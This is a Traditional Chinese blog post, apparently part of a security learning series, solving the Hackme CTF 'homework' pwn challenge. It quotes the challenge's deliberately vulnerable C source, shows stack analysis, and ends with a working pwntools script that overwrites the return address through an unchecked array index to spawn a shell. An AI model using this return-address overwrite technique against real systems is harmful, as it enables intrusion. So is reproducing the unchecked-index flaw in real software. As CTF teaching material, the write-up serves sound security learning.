iT邦幫忙

2023 iThome 鐵人賽

DAY 27
0

前言

經過了一段時間的研究,我終於搞懂了這題 Hackme CTFhomework,在開始之前我得先說,我最後是直接對答案,再來理解為什麼要這麼寫 XD,並且還請教了我的隊友才搞懂一些細節,在此感謝 @zeze🫡。因為不是我想的我就不當作在寫 write-up 了。

參考的答案:http://blog.iyzyi.com/index.php/archives/1110/

思路

題目有提供原始碼,我們直接從這裡找攻擊面(把一些不太重要的跳過):

...
char name[1024];
void call_me_maybe()
{
    system("/bin/sh");
}
...
void ask_name()
{
    printf("What's your name? ");
    gets(name);
}
...
void run_program()
{
    int arr[10], i, v, act;

    for(i = 0; i < 10; i++)
        arr[i] = 0;

    while(1) {
        puts("0 > exit");
        puts("1 > edit number");
        puts("2 > show number");
        puts("3 > sum");
        puts("4 > dump all numbers");
        printf(" > ");
        scanf("%d", &act);

        switch(act) {
            case 0:
                return;
            case 1:
                printf("Index to edit: ");
                scanf("%d", &i);
                printf("How many? ");
                scanf("%d", &v);
                arr[i] = v;
                break;
            case 2:
                printf("Index to show: ");
                scanf("%d", &i);
                printf("arr[%d] is %d\n", i, arr[i]);
                break;
            case 3:
                v = 0;
                for(i = 0; i < 10; i++)
                    v += arr[i];
                printf("Sum is %d\n", v);
                break;
            case 4:
                for(i = 0; i < 10; i++)
                    printf("arr[%d] is %d\n", i, arr[i]);
                break;
        }
    }
}

int main()
{
    set_timeout();
    unbuffer_io();
    ask_name();
    run_program();
    say_goodbye();
    return 0;
}

看起來感覺有兩個部分可以嘗試:

  1. 使用 gets()ask_name()
  2. 讓使用者輸入 arr 的 index 並且沒檢查邊界的 run_program() 的 case 1

我們這邊選擇第二個來打,所以其他的都先不管。

這邊我們先用 gdb-peda 的 checksec 來看一下保護的設定:
https://ithelp.ithome.com.tw/upload/images/20231011/201626153fmW78oAiF.png
沒有 canary、沒有 PIE。

如果不清楚這邊的項目是什麼意思,可以看這篇:Day 24. Pwn - 保護機制

接著使用 ghidra 來看看這邊的 stack:
https://ithelp.ithome.com.tw/upload/images/20231011/20162615KjZsUYTOO7.png

可以看到我們要利用的 arr 是在 -0x38 的位置,但如果用 IDA 看的話,會發現位址是 -0x34
https://ithelp.ithome.com.tw/upload/images/20231011/20162615ovNyEWWWUU.png

這邊我推測 IDA 是以 caller ebp 為基準,而 ghidra 是以 return address 為基準,如果有大大知道正確答案的話還請指教。

再往下看一點可以看到有關 stack frame 大小的資訊:
https://ithelp.ithome.com.tw/upload/images/20231011/20162615Qn8C6G17JP.png

esp 減去了 0x48,這個就是新的 stack top,目前的 layout 大概長這樣:
https://ithelp.ithome.com.tw/upload/images/20231011/20162615w6OamNPw5k.png

我們需要從寫入 arr 的地方來覆蓋 return address 的資料,所以要將 index 設成 0x38/4,除以 4 是因為這邊的 arr 是整數陣列,一個是 4 bytes。

知道要寫在哪邊之後,接著是要知道 shell 的位址,這題包 shell 的 function 是 call_me_maybe,在 ghidra 中就可以找到位址是 0x080485fb
https://ithelp.ithome.com.tw/upload/images/20231011/201626159uBR6hMJTd.png

最後,因為 run_program 裡面的邏輯有包一個迴圈,所以在 case 1 覆寫完 rerturn address 之後,還需要再走一次 case 0 才會 return。

最後我們來看完整的 exploit:

from pwn import *

p = remote("ctf.hackme.quest", 7701)
context.log_level = "debug"

return_address_offset = 0x38 // 4
shell_address = 0x80485fb

p.sendlineafter("What's your name? ", "macs")
p.sendline("1")  # 走 case 1
p.sendlineafter("Index to edit: ", str(return_address_offset))  # 讓 arr[offset] 指向存放 return address 的位置
p.sendlineafter("How many? ", str(shell_address))  # 用 shell address 覆蓋 return address
p.sendlineafter("0 > exit", "0")
p.interactive()

拿到 shell 後,我們就可以輕易找到 flag:
https://ithelp.ithome.com.tw/upload/images/20231011/20162615xKOlJn2Prg.png

以上,謝謝大家收看🫡


上一篇
Day 26. Pwn - Pwntools
下一篇
Day 28. Pwn - Buffer Overflow 實戰
系列文
進了資安公司當後端 RD 才入門資安會不會太晚了30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言